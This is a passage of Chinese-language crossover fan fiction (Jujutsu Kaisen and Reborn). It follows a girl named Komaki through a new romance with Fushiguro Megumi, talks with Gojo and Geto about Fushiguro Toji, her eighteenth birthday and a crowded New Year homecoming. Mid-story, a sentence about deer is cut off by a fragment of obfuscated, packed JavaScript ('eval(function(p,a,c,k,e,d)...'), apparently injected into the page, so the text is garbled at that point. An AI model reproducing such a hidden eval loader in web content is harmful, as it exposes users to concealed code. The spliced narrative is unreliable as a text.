谈恋爱很好,但现任是现任血缘关系的儿子这不好,再说他们之间此前也是一笔糊涂账,战略性过年不回家,两头家都不回,强势端水。她姑且这样说服自己。 离开野蔷薇的宿舍,就只剩下他们两人。小莳和伏黑惠说起下午的见闻:“上午那个咒灵是什么类型的?和我猜的一样吗?” “是债务纠纷。” 可恶,居然不是婚姻法,生气了,爱恨情仇指数不如米花一根。不过要是比得上那边的话,再来十个五条悟东京都不够管。 小莳拿出一个泡芙来吃,“计划赶不上变化,今天下午有点费脑子。明早你也和我一起吃泡芙吧?我不想早起了,或者你去和后勤订饭。” “都可以。” “那你尝一口,明天不给你吃了,我吃两个!”五个泡芙,自愿赠与野蔷薇一份,五条悟不问自取一份,小莳晚餐一份。 伏黑惠就她留下牙印的缺口处吃了一口,甜腻,但并不讨厌,还来不及他回味,小莳就吻了他,又一次亲切地吻了他。 似乎总是她在主动。 “你嘴角沾了奶油,”小莳的面庞离开到他的社交范围内,她这么说着,她的气息萦绕在他身边:“当然,我也很想亲你。” 小莳觉得自己这样子,一定很特别,伏黑惠一定挺喜欢她。因为他凝视着她,低着头,仿佛要把眼前人的形象刻入灵魂,然后她就被一股力量拉进怀抱。 情感上腼腆的男孩,当他喜欢上一个人,即便再不遗余力的克制,也难以不动声色。他们才认识一个月,交往不过两天,可她感到他内心深处涌动的激情,真挚而热烈。 在这样的时刻,不含情欲的亲吻也是一种打扰。于是小莳只是靠在伏黑惠的肩膀上,搂着他的腰。 “小莳是什么时候喜欢我的?”过了一会他问。 “昨天。”当天来感觉当天亲亲,是的,我们意大利人是这样。小莳也说不明白,17岁将近18岁的年纪还不适合说“我这一生”这样老气横秋的话,但她实在见过很多形形色色的人,男人、女人、年纪相仿的少年少女……比一些不善交际的的你一生还多,而其中仅有两个姓伏黑的引起了她性缘方面的注意--严格点说她觉得排除伏黑甚尔也无妨,毕竟那时候沦落天涯,人一遭受苦难就容易变得多情敏感,加上对方的主动和施与的恩惠,时势造就了她的初恋。现在时过境迁,他和前任都有光明的未来,各自的未来,相忘于江湖的未来。 所以她这一生,主动选择恋爱的对象,目前只有伏黑惠。 她说:“但是看见你的眼睛,我就觉得已经认识你很久了。惠,你有一双绿宝石一样的眼睛。很美。”所以说是爱斯梅拉达嘛。 伏黑惠松开绕着她肩的手,低下头与她亲吻。 半晌后,两人皆是气喘吁吁,呼吸缠绕,小莳听见伏黑惠小声说:“才两天吗?”声音克制冷静又难掩失落。 “你就当我比较慢热,这是迟来的一见钟情好了,”伏黑惠像一只失落小狗,惹人怜。小莳说到这里,自己也不免觉得敷衍,抱也抱了亲也亲了,这时候讲慢热就风马牛不相及。 “我不太习惯把情绪藏在心里,如果你不喜欢我的话我大概很快就会找其他的事情转移注意力,然后我们会很少见面。”离开高专以后再也不会见面,小莳在心里默念最后一句,然后她找到伏黑惠的手和他十指相扣,说:“能够凑巧的发现你喜欢我还挺好的,这是缘分哦,惠。安心享受恋爱的乐趣吧,不必因为进展太快而悬浮忐忑,细水长流只不过是劝退没耐心人士的闭门羹,是成年人喜欢的体面,至少在今天我们都还在青少年时期。” 迟早be的恋情如她和伏黑甚尔,就好比是已知庄家必定出千的局,实在没有一定要往里投注的必要,赌那一点点奇迹。即使是她最沉迷其中的时候也没对伏黑甚尔本人有不可思议的期待,期待他给点什么专属的爱意:他大概对每一个交往过的女性都这样,她是其中有着一点过往,当时又比较有钱的一个。 当然,但她绝对是特殊的,他们是有过几次算是深入内心的交流,但那和伏黑甚尔关系不大,都是她本人善察人心的功劳。可恋爱又不是一个人能自己谈的,老这样没意思,她也期待从恋爱里得到点像黄金一样确凿无疑的好东西,至少要是只属于她的特权。 伏黑惠身上就散发着温暖柔和的气息,又兼具她一向欣赏的体贴多情。借着走廊的余光看到那一双脉脉含情的绿眼睛时,从目光相对那一秒起,小莳便觉得自己被对方无意识地撩拨了。后来发现那不过是他来不及收回视线里的蛛丝马迹-- 他在一个月前就喜欢她了。 哦呀,两情相悦,对方提供的筹码也极具诚意,小莳自然没有畏缩不前的道理,她不介意这样子和伏黑惠亲密,再靠近些也无妨。 至少要有与期待的未来相适配的勇气才行,这东西她已经不缺了。 “……嗯。”伏黑惠轻声应着,大概没有听进去多少,但他喜欢小莳,也不想反驳。 她猜他性格里一直有点阳奉阴违因子。 离开了爱情,两人的话题还有很多,很快他们说到了宿傩,小莳坦诚吐露自己对于宿傩的忌惮,“他应该有一肚子坏水,但我周围阴谋太多了,还有你也知道的20亿,如果仅仅因为直觉就像避免瘟疫一样忌惮虎杖,我想还是不要让这可怜孩子遭受更多不幸。” 伏黑惠沉吟片刻,说了那天野蔷薇带来消息后宿傩的出场。 “等等,所以他其实是一款虎杖身上的窃听器,而且他也清楚地知道关于虎杖死刑的全部内容?” 得到了肯定的回答后,小莳不由感慨咒术高层果然是一帮顾前不顾后的草台班子,事前谋划、流程跟踪一个都没有,但她和五条悟一样,没对此做出微不足道的评价。 权力掌握在快发霉的保守派手中,三言两句也妨碍不到什么,如此不如省点口舌。 “悟果然成了活靶子,宿傩在想办法干掉他呢。”成为最强,意味着成为所有行动绕不开的对象。高层的命令偶尔也要看五条悟脸色才能落地执行,万圣节以后一直失踪的虚假夏油杰和几个特级一伙当时的阴谋无论是什么,其前提条件就是要先想尽方法封印五条悟,不然一切都会落空。 宿傩……千年前的事情难以考据,但他如果想在近些年做点叛逆的事情,行动轨迹必定也要和五条悟撞上:“哇,这就是人类的希望吗?最强什么的果然是坑害的陷阱。”一次又一次重复【这件事情只有你能做到】的陈词滥调就等同于其余人都放弃了思考,说得好像没有五条悟高层人也不活了一样。 可实际上,他们只是这么宣称而已,即使是蠹虫也不会轻易放弃生命。 伏黑惠以为小莳是在对五条悟发表意见,他并不是面对女友发表意见时就一定要提出反对意见的男性,不过身为学生与惠及对象,出自正义之心,他也有必要为老师说点公道话:“也不能这么说,五条老师一直有在为咒术界的革新铺垫,只是还没见成效。他们根深蒂固。”说到这里他似乎又觉得好像说了又好像没说,宛如办公会上的周小结一样苍白,他随即补了一句:“他帮过很多人,包括乙骨虎杖和……和我。” 小莳并不是这个意思,这时候把人豆沙了而不能稳固接手他们手中权,那便只是蚍蜉撼树,难以动摇根基。她还挺理解五条悟徐徐图之的策划,只不过仍然为战力最强还被左右掣肘而感到惊讶,她的意思是……他其实可以更任性一点。至少表现地更有攻击性一点,别冷若冰霜的给人擦屁股。 “嗯嗯,以后就靠你们这些学生啦,真是个难收拾的烂摊子,但在这点上我认为他想的不错,你们都会成长成期待的样子,然后活跃在各个领域的。”最近伏黑惠新调伏了圆鹿,算来已经是十个式神中的第七个,入学不到一年,他已经进步的很快。 即便在五条悟身边,也难掩光芒。 接下来的话题就到了新的小鹿斑比身上,这是一只成年形态的公鹿,体格强壮,身姿矫健优雅,一对雄伟硕大的实角如树枝枝干根植在颅顶。 “反转术式?真是个可爱乖宝宝,其实我一直想去奈良喂小鹿吃胡萝卜,或者红薯,我也不知道鹿吃什么。”反正就是一律成为鹿饼。又能飞又能打现在还有了治疗,十影果真五脏俱全,对于大部分无缘领会反转术式的咒术师来说,有的生得术式果然是生在罗马的高种姓。小莳贪恋地撸着鹿头,它低下头动作小心又温驯,虽是雄鹿但这慈爱的光辉倒是脱离了动物背景--一般来说鹿角是被用来在种群内打架斗殴的工具。 这式神背离了原始的动物性,呈现出来的样貌更像是人类心中对于仙兽吉兆的刻板印象。 小莳亲了亲鹿角,又软和地好生夸奖了小动物几句,才把注意力分给伏黑惠:“鹿是祥瑞之兽,自古以来就有传闻。传说千年的鹿会变成苍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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……令人想都不敢想的说辞,但从她的口中说出,伏黑惠便好像被一圈灵光环绕,也情愿去相信她吐露的鼓励与期待,可…… “30岁的话应该做不到吧,魔虚罗是历代没有被调服的式神,关于禅院和五条家的事情你也知道。” “虽然我也经常说这种话糊弄别人,但是对惠我愿意坦诚一点。”小莳对他竖起手指,几步外的灯光在她晃动的脸上影影绰绰。 “在大部分工作场合我也会以前任的失职来给自己的懒惰找补,但实际上我并不觉得自己比任何人差。所以【前例】于我只是开脱责任的手段,在心底……如果我不能做到前人做不到的事情,那就只是能力还没到足矣匹配的地步,和其他任何人都没有关系。我们终其一生,所做的也不过是在自己脚下的方寸土地上跳高跳远罢了,已经死去的人研究价值实属不高,更自由一点吧,惠。” 小莳在心里添加备注:当然人文社科工作除外,PVP得看版本环境。 边走边吃晚餐散步两不误,结束后小莳和伏黑惠在宿舍门口吻别。 她并没有上楼,而是去找了五条悟,鸽了他明天的行程。 “有了男朋友谁要和你们这群母胎solo玩在一起,杰会感谢我的,而你,我的朋友,作为补偿在新年到来之前我会找你促膝长谈,有关你的无下限术式。”泽田家光人在并盛,顺便就解决了恭弥请自己回去善后的事项,这算是他为小莳做过的事情中数一数二好的了。 五条悟难得也光临属于他的宿舍,在沙发上带着眼罩睡觉,被吵醒也不恼:“小莳终于不打算用愤怒为理由搪塞了?在我见到云雀的第一眼,就知道这借口出自何处了。利用同伴就地取材,你一直是这样吗?” “当时只是有一点头绪,也确实只有生气的时候才能不经意打破无下限,可不是什么谎言。”小莳很重视自己在同阵营的信誉,特地给五条悟掰扯来解释,“直到今天我才验证了新的想法,等我理清思路以及休息几天再和你细细分说。” “还休息?”常年日睡眠不足4小时的五条悟露出了面目可憎脸,然后他痛苦用手推下巴,好像他没办法自由闭嘴:“我算是直到杰为什么会问我怎么能心平气和的看待你的无所事事,你还真是悠闲。” 在学生面前做出游刃有余的样子,实际上已经半辈子没睡过好觉,不是出外勤就是通勤的路上,五条悟感受到了差距。 谁能想到御三家家主也是个赚窝囊费还全年无休的家伙,“你说,你看到我的时候会不会有流浪猫看到家猫的羡慕感?”小莳逗他。今天的难得空闲的五条悟格外好欺负。 “羡慕,羡慕的不得了,要留出嫉恨得泪泉了,”五条悟的眼睛还真有点泛红,大约只是借题发挥,因为他说完后就猝不及防把小莳脖子圈进胳膊,狠狠揉她的头顶:“不过年轻人的青春本来就很宝贵,就是要大力挥霍才尽兴,作为前辈我很高兴小莳能够品尝美好的青春哦~” 他的手可不是这么说的。 五条悟真的和她有点像--性格上。小莳因为孩提时代的遭遇,也许此外还有一定天赋作用,对于人的情绪想法转变有时相当敏感,可她和五条悟相处时全凭本能就可无障碍沟通。 虽然有点别扭,但他是真的在为她高兴。 小莳敲他的头,“仔细一想我们确实挺像,要不找机会还是去做下DNA检测。”没有特意打听过,但是小莳断定五条悟的童年是另一种不幸。 百年未见的遗传信息和祖传术式,五条家说不定根本没把他当人看,稚童如何做得高台上的神子,悟没那么反社会,人性该有的依恋他全有。因此也是水深火热。 结果咒术界还是个巨大的快递中转站,比之她的生存环境更险峻,也不怪他性格糟糕。小莳合理怀疑说不定是什么退行性心理防御机制,等咒术界高层死翘翘,一切都会好起来的。 “好哦,不过如果不和生母生父检测就检测不出来什么,线粒体DNA和X染色体DNA,都是和亲代检测。” “哦?你血缘双亲不在了?” “啊,不知道。”五条悟连他们的脸都对不上,也不关心。 看吧,她就说五条家水深火热。不测了,家里太小了,装不下这么老些妈和爸。 69. 第 69 章 第二天直到伏黑惠收拾好站在她房门口,她才宣布了今天并盛行取消的事情,并且把人拉到房间里进行一番深入交流。 “不是不想回家,是没有见到泽田家光风险的东京行更具性价比。”小莳定了在市区的电影票,“过去只要40分钟,我们去吃完午饭看完电影进行大约30分钟的免费citywalk又可以吃晚饭了。” 她报了个名字,“去吃那家如何?” “太贵了。而且圣诞节应该要提前两个月预约。” “虎杖说你喜欢吃贵的,而且,你还蛮懂的嘛。”小莳在手机里翻找出一个人的联系方式,“这家店空降店长以前在瓦利亚做厨师,差点出工伤顶额事故,他欠我一些人情。” 对虎杖悠仁的编排伏黑惠表示全盘否定,并且说明自己也能做饭,晚上他可以担起烹饪的责任。被小莳拒绝:“不了吧,如果吃到很难吃的东西会伤感情。” 她觉得自己是婉拒。 受到打击的男友把话题转移到其他地方:“话说,顶额工伤不就是死亡吗?” 他看见轻点的额头。“是这样的,我们彭格列上班族每天都有必死的觉悟的。”小莳轻描淡写回答,这点像里包恩,随随便便恐吓一个男高。 “……” “下次一定带你回并盛,等门外顾问走了。”说罢觉得这个承诺莫名耳熟。 想起来了,是伏黑甚尔,直到分手也没带他见过表兄黑子哲也,也没带他去过东大。 没事,债多不愁人。小莳面色不变,决定要在本次新版本中把上版本遗留问题打上补丁:就是更新换代快。 她真是个前人栽树后人乘凉的好大树。 当晚他们还见到了五条悟,他看起来不太像流浪猫,大概是因为他随身携带了一个满脸不情愿的猫爬架。 说实话小莳还蛮惊讶,这并非是什么高档餐厅--伏黑惠身体力行表明自己不是那种只爱贵价食物的虚荣男孩,虽然小莳觉得这些都无关紧要。 他们去了小莳因思念表兄而选择的M记。流水的世界,铁打的东京、东大、M记,一款世界硬通的御三家组织。 不过他们的分配变成了这样:小莳和伏黑惠share一杯奶昔,以及小莳本人的一杯奶昔。 “我和哲也会两人喝三杯,我们都是一杯有点少两杯喝不下。”因为奶昔是一种过分美味的产品,即使是小莳也舍不得浪费,今天浪费的话下次再喝就会怪不好意思。 伏黑惠勇敢承担了200ml的甜味冰饮料。 在小莳犹豫是否要外带明天极有可能失去诱惑力而被浪费掉的炸鸡翅时,五条悟揽着夏油杰大摇大摆出现了,他的同伴看起来并不期待招摇过市的姿态,一眼自愿。 她给对方施舍怜悯的一撇,然后低下头去吃已经被打包好的鸡块。在五条悟以一种出来玩的小狗见到几十米外其他小狗的速度走向这里时,只有他的好学生不情愿地打了招呼。 显然,颇有礼貌的伏黑惠也不乐意在这种时候见到他。 伏黑惠第一眼见到夏油杰的时候,想到的是这个男人确实是五条老师的好友。 夏油杰做出了和五条悟第一次看见他时如出一辙的表情,见了一次一生也难忘,现在更是刻入灵魂。伏黑甚尔,那个男人还真是惹了好多大麻烦。 五条悟兴冲冲和挚友分享:“我就说吧,一模一样。” 打定主意置身事外的小莳被自己诡异的笑点背刺,等收敛笑容后两个大高个子成年人一左一右就坐在了她对面。 失策,一开始不该选大桌子,说什么也不能瞧不上面对面的小桌。 五条悟张口就得罪了全场最年轻的少年:“小莳我说你,吃代餐也吃点好的。”于是第二个把持不住笑意的人成了夏油杰。 她就这样见识到了夏油杰问题少年的一面。还真是……难怪他们学生时代能玩到一起。 四个人一起吃了晚饭,过程和愉快关系不大,最开心的人变成了五条悟。 小莳体谅他连轴转,只在听到挑事的话语时给对方一点也不凌厉的一撇,伴随一些无伤大雅的幻觉攻击。虽然有的时候发出声音的是夏油杰,但问题不大,他也不是什么好人,完全没冤枉。 凑齐了非常必要的四个人以后,话题就会像水往低处流淌一样顺到伏黑甚尔,隐晦,但小莳能敏锐觉察--主责绝对在五条悟头上。 不懂,明明杰只有一面之缘,五条悟只有三面--在他很小的时候甚尔去看过他一次,小莳记得他说“那小子穿着断头蜻蜓的和服,如果你看见一定会觉得不吉利。”评价很低,大概是头一次偷窥被发现的叛逆之心。 就算被狠狠揍过一顿这两位现在不是好好在这吃汉堡吗?还是她点的。为了扭转一下气氛,反而是小莳这个相处最多的,从他身上得到好处也排第一顺位前女友出来一发直球扭转阴郁的秘氛:“你们就当他死了不行吗?没听说你们有人要去米花啊?而且说不定他都在美国呢。” 三个人一起呛水咳嗽。同步率100%。 第一顺位,是小莳经过认真思考以后得出的准确结论。首先,夏油杰全亏战绩:损失特级咒灵x2,未成年的自信心,未来十年的心理阴影--并非是影响只持续了十年,而是有人在2017不幸换了个地方过日子;其次,是因祸得福掌握了反转术式,又当日事当日毕把人解决掉的五条悟:有的时候,当苦难打不到人,他就会变得更强,姑且算是正负零。不过不会真的有人傻到要感恩挫折和痛苦吧,不会吧不会吧,有这功夫不如多夸耀一下自己坚韧的品格;最后,是情况略好的伏黑惠:他得到了一部分关怀,还有一些基础的物质资助,姑且算是正分……但对方的身份可是拥有血缘关系的直系亲属。3、4、5总之不足10的点数在60分及格线的珠穆朗玛峰面前,简直就像是隔天用微波炉加热的薯条之于刚出餐的特厚月见汉堡。 片刻的思忖中,小莳为在自己的观念画上了一个休止符,得出了结论:瞧,失踪劈腿的恋人地球上哪里都有,做父亲做成这样的,相对来说更罕见。伏黑甚尔,真是人际交往上相当吝啬的男人啊。 当然,不是说他金钱上就比较大方,以前也穷。她咬了一口汉堡,在沉默中游刃有余地享用美味。 五条悟率先开口:“如果他没死呢?” “那他肯定没死啊……”只是比喻!小莳白了对面脑子短路的人一眼,“很难想象一个身怀1亿合法资产实力又较为强劲的男人会怎样暴毙,除非一下子输光然后大闹赌场,最后一不小心干掉一两个炮灰最后警视厅出场。就算这样只要他不被当场击毙我哥一定会捞他的。虽然破案率很低,但是十几年内米花一共只出过两起失误击毙嫌犯的事情呢!” 美国那边就不清楚了,听安室透说乱的很。他不喜欢美国,小莳对他混合偏见的意见抱有70%信任。 她拿起杯子喝了一口奶昔:“那可是一个亿,我花一亿都得好几个月,现在还没过新年。” 伏黑惠:“……” 夏油杰:“噗。” 五条悟:“噗嗤。” 除五条悟本人强硬要求的5亿游云补偿费--因为它的归属在当时是五条家,禅院直毗人给了伏黑甚尔约好的剩下余额5个亿。据说他在赌有生之年能看到五条悟丧失行为能力,只有在这时伏黑惠能以少主的身份改姓禅院,并成为家主唯一候选。 祖传术式,嫡系血脉,没有任何一个对家族忠诚之人能拒绝这样的孩子。 而在今天上午的交流中,十几年友情中有十年都在绝交的一对友人互通了一些关于伏黑甚尔余额不足1亿的信息。他花钱大手大脚的程度令人愉悦,二人共同隐晦期待着能偷偷看他花光钱以后的笑话,没人言明,只是心照不宣。 伏黑惠只是单纯的因为话题不适,又遇到了五条老师的试探紧张,正此时听见了小莳关于金钱的一番豪言壮语,说不出话来。 “经济下行,我一个没继承权的小女孩一年也花不到1亿啊,你们很爱他吗?干嘛把他想的那么快乐。”小莳是真不明白他们在噗什么,两个正常成年人,凑一起就变成了这傻样,有人来管管吗?总之别太爱了。 真正越过敏感的话题后,她象征性东拉西扯了些别的,一杯奶昔结束,小莳借散步消食的名义迅速拉着伏黑惠走了,跟糟糕的大人在一起久了灵魂都要被污染了。出了店门又闷不啃声拉着伏黑惠走了一两个马路后,才谨慎地抱怨:“他们两个黏黏糊糊的,年纪加起来都快到退休年龄了,讨厌。” “不,黏黏糊糊,这也……” 伏黑惠是个很好很好的男朋友,至少他没盯着小莳问关于伏黑甚尔的事情,小莳是真的不愿意总想起他,她买了糕点和面包--七海推荐的搭配,先火腿后红豆。 或许他本人也不想知道关于伏黑甚尔的事情。 小莳想错了,在她生日当天,也即是新年,好心的虎杖悠仁带来了他和野蔷薇的礼物。 “钉崎昨天就去东京了,好像是找到了童年时候的邻居姐姐。托我把东西带给你,泽田。” “多谢。” 她起的很早,因为泽田家光据奈亚传来的消息,在北极的探险突然有了突破性发展后,立刻召唤了他这个负责人兼队长回去。 --以上只是他对奈奈的说法。 “大概是为了让你能回并盛过新年。”奈亚说的她都懂,只不过……现在是所有人都知道她的生日了吗? 在见到男友前,她还接到了来自意大利的视频通话,瓦利亚除了XANXUS全员都在场,XANXUS在前往日本的飞机上。 他们祝她生日快乐。 然后是夏油杰昨夜凌晨的第一条消息、蓝波技巧拙劣的vlog,里面拍到了家里的每一个人,还有他们在去年最后一天的晚餐,泽田家光也入镜,他只是举着手中的杯子朝镜头说了声“生日快乐,新年快乐。” 一不小心变得有点受欢迎。 18岁,感觉不错。 实际上伏黑惠成了最后一个祝她生日快乐的,而他特意挑了小莳本该起床的时间站在她门口。 “我没想到虎杖起那么早。”相处一周多,小莳很轻易地感受到他的懊恼,这孩子还以为他是第二个呢。 真可爱。 美好的早晨由情侣间的亲吻开启,小莳把他拉到房间里贴贴。 两人出发去并盛时已经是十点。 “我以为你今天会去看你的姐姐。”前几天有空的时候他都去了医院。新年想要和家人一起过才是常情,一般来说是这样。 伏黑惠脸部的红色从被小莳拉到房间后就没褪下,此时仍是:“之前一直有在照看,今天是你的生日,应该和你一起。” 小莳闻言点点头:“确实,作为男朋友,女友生日也是很重要的日子呢。”没有这方面经验,但是网上和小说里都会这么写,能理解。 奈亚在五点准备好早餐就先一步回并盛,现在只有她和伏黑惠两个人在空中。 他开始问问题:“那个人没有给你庆生吗?” 好端端的,提他做什么?但是既然贴心温柔的男友问了,小莳也回答,她想了想,告诉伏黑惠那时候自己正沉浸在假期结束即将开学的痛苦中。 而本来他和伏黑甚尔都没有过生日的习惯,他们的生日恰好凑在一起,但都不觉得有额外庆祝的必要,也算是一种地狱的巧合。 “说白了我们都不觉得自己是被期待着出生的,所以提不起庆祝的兴致。不过朋友们有送我礼物。”说到天内理子的时候,就连一贯不喜欢主动提起伏黑甚尔的她都忍不住吐槽,“如果蓄意把谁干掉,我肯定是没办法做这个人朋友的女朋友的。你敢信吗?他 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而她不能接受的是,本该做点什么努力挽救一下的在其位者,光想着怎样利益最大化了。要知道她作为杀手的时候遵循的是黑暗世界的准则,但也不是完全遵循,因为在此背后的大背景是强者可以更改规则,她稍微修改了点不喜欢的;而作为热心并盛市民的时候,小莳没有一刻把居民生命当成可以被计算的东西,彭格列还有风纪财团目前在并盛部署的一切,不仅是为了袚除可能产生的一切咒灵,更是为了保障捍卫居民的生活。如果一有危险就干脆把人当诱饵,一是本末倒置,二是作为掌权机构的失能。即使情况万不得已,至少也应当进行谨慎思考再选择牺牲。就像医学研究和小白鼠,或者比格犬,还有临床试验。 和至少一直在想着救助他人的伏黑惠不同,小莳心中的准绳要更有悖常理,世界观这事情人和人不一样,比起闹腾着求同存异,小莳更习惯什么都不说,沉默能避免大部分矛盾。 伏黑惠听说过天内理子死亡的事情,但听说她现在一切都好还做了演员或者歌手,他的关注点完全在女友的的一句话:“以后,我也帮小莳庆祝生日吧。我会一直期待着新年的第一天。” 在小莳诧异望着他的眼瞳里,倒映男友说完后两秒忽然惊慌的形貌,同时她听见他欲盖弥彰的下一句:“本来除旧迎新就是很好的日子,新年。” 随着她目不转移的注视,伏黑惠的声音越来越小,直到静默。 “这可是很重的承诺,你知道的,每年开头都会有个1月1。”小莳歪着头看他,他原先稍微退红的面颊又火烧一样。 小莳凑上去吻他,伏黑惠本以为会更深入,她却只是贴了下他唇角,然后移到他耳畔说:“谢谢。” 如果她相信一个认识两个月的人做出的有关一生的承诺,那她就是全世界最愚蠢的人;而如果她大声说出来“这种事情怎么可能呢,因为123”然后开始就事论事与男友理论,那她就是世界上第二不解风情的杠精。 小莳是一个聪慧且会为他人发自内心的好话感到高兴的女性,她当然不会那么做。 事实上,有关爱情的迷人之处就在于,不管时间往后推,两人的情感与个性消磨成何种样态,至少在互诉衷肠,浓情蜜意的时刻,大部分吐露的言语都发自心声。 有一瞬间的花火一样的激情就足够了,对目前的小莳来说是这样,她不会把这一刻当成是永恒,不会要求伏黑惠一直喜欢她。此时此刻,他说出这样意动情真的句子,有着真挚热烈的情感,她感受并也愿意回应这份期待。 赏味期限再短的点心,只要在时间范围内品尝,就可以得到美好的风味。 “小莳,我,我并不是……” 伏黑惠支支吾吾,小莳没有打断他,没有说什么“我都知道”这种不让人开口的话,她只是侧过脸认真看他。 “或许你觉得我很轻浮,也许确实如此,但是我--”他看着她含笑的眼眸,胸腔中受到了某种鼓励,促使他调息顺畅起来,说完了这句话:“我想让你知道,我会为你的诞生而高兴,谢谢你,让我知道喜欢上一个女孩是什么样的感觉。谢谢你愿意和我在一起,愿意喜欢我,我想和你一起度过很长的时间。”长到生命的尽头也好,这样的疯话被他藏到了喉头,不说出口。 “……”小莳从他的绿眼睛里看到一团盲目的火焰,一种纯真无邪的狂热感,在伏黑惠的一汪绿水泛起后悔懊恼的波动时她才意识到有一段时间了。 她发了一会呆,想起来了,那种感觉大概像是他从来未被滥用的童贞,以及自顾自忘我的真情。这两种的无论哪一种都是小莳记忆中从未真正拥有的。 是很可贵的东西。 这样完全意料之外的事她不会浅淡称之为惊喜,否则也太漠视男友的一腔真心。小莳从思绪中脱离的时候,拉住伏黑惠撤离的手,然后跨坐在腿上吻他。 “试试吧,惠,说不定我们真的可以在一起很久。”就她了解到的人性来看,永恒的爱情世所罕见,人类会陆陆续续的爱上他人--不总是同一个人。但在真正涉入一片海域前,没人清楚他真正的样子,小莳此前有认真和伏黑甚尔谈过恋爱,她还规划过一点可能的未来,虽然很快告吹,幸好这中间没隔太久,定损的时候不太难看。 现在她看到了伏黑惠身上从未见过的品质,不得不承认也被其深深吸引,她总是富有冒险精神,总是敢于尝试,这次也如此。 说完以后她又抚上他的脸,让他转回来,嘴唇贴着嘴唇。 直到……小莳在察觉异样后的十秒内主动推开男友。 “我觉得在天上做这种事会不太文明。”她用手掌掩去唇边的银丝,正身坐好,“对于行为艺术来说可能也超前了200年。而且我们才交往10天,也许过段时间,至少是在房间里。” 他的声音细若蚊吟:“对不起。” 没什么是要道歉的,小莳对他笑。 70. 第 70 章 小莳带伏黑惠直接回了家。伏黑惠对此很是紧张,他没想到,或者说是根本不敢想。 “立刻就见家长吗?”伏黑惠没想到今日的旅程终点是小莳的家,他想过生日那天的特殊安排。但绝对不会是交往十天然后随随便便就被带去家里--那里有彭格列主要成员,还有小莳的母亲。 面对男友肉眼可见的惊慌失措,小莳给他出了个馊主意:“就说你是我朋友好了,奈奈不会发现我们在交往的,她钝得很。守护者和阿纲的意见无关紧要,他们自己的感情生活都……晚点和你说。” 到了一处未规划的荒地,小莳和伏黑惠开始步行。 “我是觉得这没什么大不了,但你也可以去风纪财团待几天,并盛地下就是房间多。”足以容纳半个城镇人口的地下基地都建出来了。 好吧,当时什么都不解释就直接带惠出发是她的问题,这几天他已经习惯了小莳突然决定去什么地方,然后两人一起走--全凭小莳安排。 “或者我们在外面吃顿饭然后送你回去?”好歹也不算白来,“新年有不少餐馆都关门了,现在大多数是商场开设的连锁店和标准化产品。”小莳在城里经常去档次高的场所,但是在并盛的家里她常点外卖的还是小店出品。 伏黑惠选择了和她回家,他的表情让小莳觉得自己像是什么调戏高中生的不良兼流氓。 在他第二次询问是否要紧急去商场带什么东西上门时,小莳捏了捏他后脖子,语气温柔近乎亲昵地在街边靠近他说:“阿纲和我嫂子(们)至今没在奈奈面前公开,他们已经连续多年在家里过年庆祝了……而且,家里的人大概很多,我们不会成为视线焦点的。”大部分守护者还有XANXUS,听说这段时间杰在菜场偶尔也能偶遇妈妈,两个人聊得还不错,说不定到最后连美美子和菜菜子也要来吃饭。 小莳觉得家里根本装不下这么老些人。而且她记得客厅很小,只有六人餐桌。 于是当她在前拉着伏黑惠的手开门后,看见条长门廊,地上贵价地板铺设红地毯后,她就:“……” 她不是不知道可以用幻术拓宽房间,她是惊讶全家唯一普通人奈奈女士已经迟钝到这种地步了吗? 彭格列风格的装修,即便更新换代相当迅速,也从没被降级过--价格上。据她所知,这房子明面上贷款还没还完吧,怎么就超前装修了? 在走过一段路,宽敞阳光充足的大会客厅映入眼帘,价格不菲的复古沙发,长条的会客桌,还有不远处的厨房吧台里,奈亚、隼人还有蓝波在里面忙碌着。 ……30平的客厅被扩张到了至少100的样子,小莳有点目瞪口呆了。 “啊啦,是小莳回来了!”温柔慈祥的女声在房间另一头响起,小莳转头看去,是拿着鸡毛掸掸去窗帘上不存在灰尘的奈奈,她还围着一个像是商场大促赠送的印有厨具广告的围裙。“是不是发现家里变大了?因为前几天里包恩介绍了一个家政收纳大师--魔术般的手法,客厅被她改造以后确实大了不少呢!” 然后大空间里的所有人都往她的方向看去。 来不及吐槽什么样的代师能造成这效果--多半是奈亚随便幻化成其他人的样子来处理的,反正奈奈连里包恩的十几个大差不差的伪装都分不出来。小莳环视了一圈陌生的房间,发现人员齐全得超乎想象。 除去本来就料想到的乌泱泱一群守护者,还有京子小春以及大哥黑川花,枷场姐妹在角落里阴暗地摆弄布娃娃和上吊绳,一平在给小春扎小揪揪,而在奈奈旁边的人是……吉野凪女士,那么,小莳往边缘再看了看,见到了和灰原雄正在一起看手机的吉野顺平。 吉野还和她腼腆打了个招呼,灰原听见奈奈的声音,也和小莳热情打招呼:“泽田小姐,你好你好!” 现在他不喊赤司了。 小莳和伏黑惠低声说:“你看,人很多,比我想的还要多。” 然后向的众人招招手后,和奈奈说话:“妈妈,我带我同学回家一起过年,他爸妈不在了,正好咱家人多。惠君,这是我妈妈,你叫她奈奈阿姨就好。” 伏黑惠一是没想到她说话语气这么轻柔纯良,二是没想到说话内容如此直白……他愣住没说话。 两位女士都没觉得不对劲,奈奈笑眯眯地和伏黑惠打招呼:“你好,惠君,小莳之前都没和我提起过你,奈亚君也只是提了一些女孩子的名字,我家小莳在学校承蒙你关照了。” 伏黑惠连忙说不是,反而是他受了小莳很多照顾。 在听到他年纪只有16时,泽田奈奈以为自己遇到了学业天才:“惠君,以后想考什么大学呢,今年的学业成绩应该是名类前茅吧?” 她以为伏黑惠是私立百花王学院的同班生。 小莳和男友大难临头各自飞,完全没有想要帮衬他糊弄的意思,她去找了一边被烟呛到的夏油杰。 “好逊,在房间里污染空气,然后还咳嗽,你今年几岁,14吗?”三两步走到他身边,他在房间里靠窗的另一个无人角落,“我没想到你会抽烟。” “18岁就开始了。”夏油杰解释,对小莳说话的时候用手指娴熟拿开点燃的烟头。他的意思是:10年烟龄。 被呛到完全是因为她直白的“父母不在”的介绍词。 小莳顺利领会:“有的时候真怀疑是你和他谈过还是我和他谈过,你像那个小寡夫上坟,听见名字哭一回,看见熟人哭一回,末了离开前再哭一回。”虽然不是什么值得怀念的一面之缘,但事到如今说不定夏油杰是所有人里面最记挂伏黑甚尔的,小莳被自己这个诡异的念头激得打了个寒战。 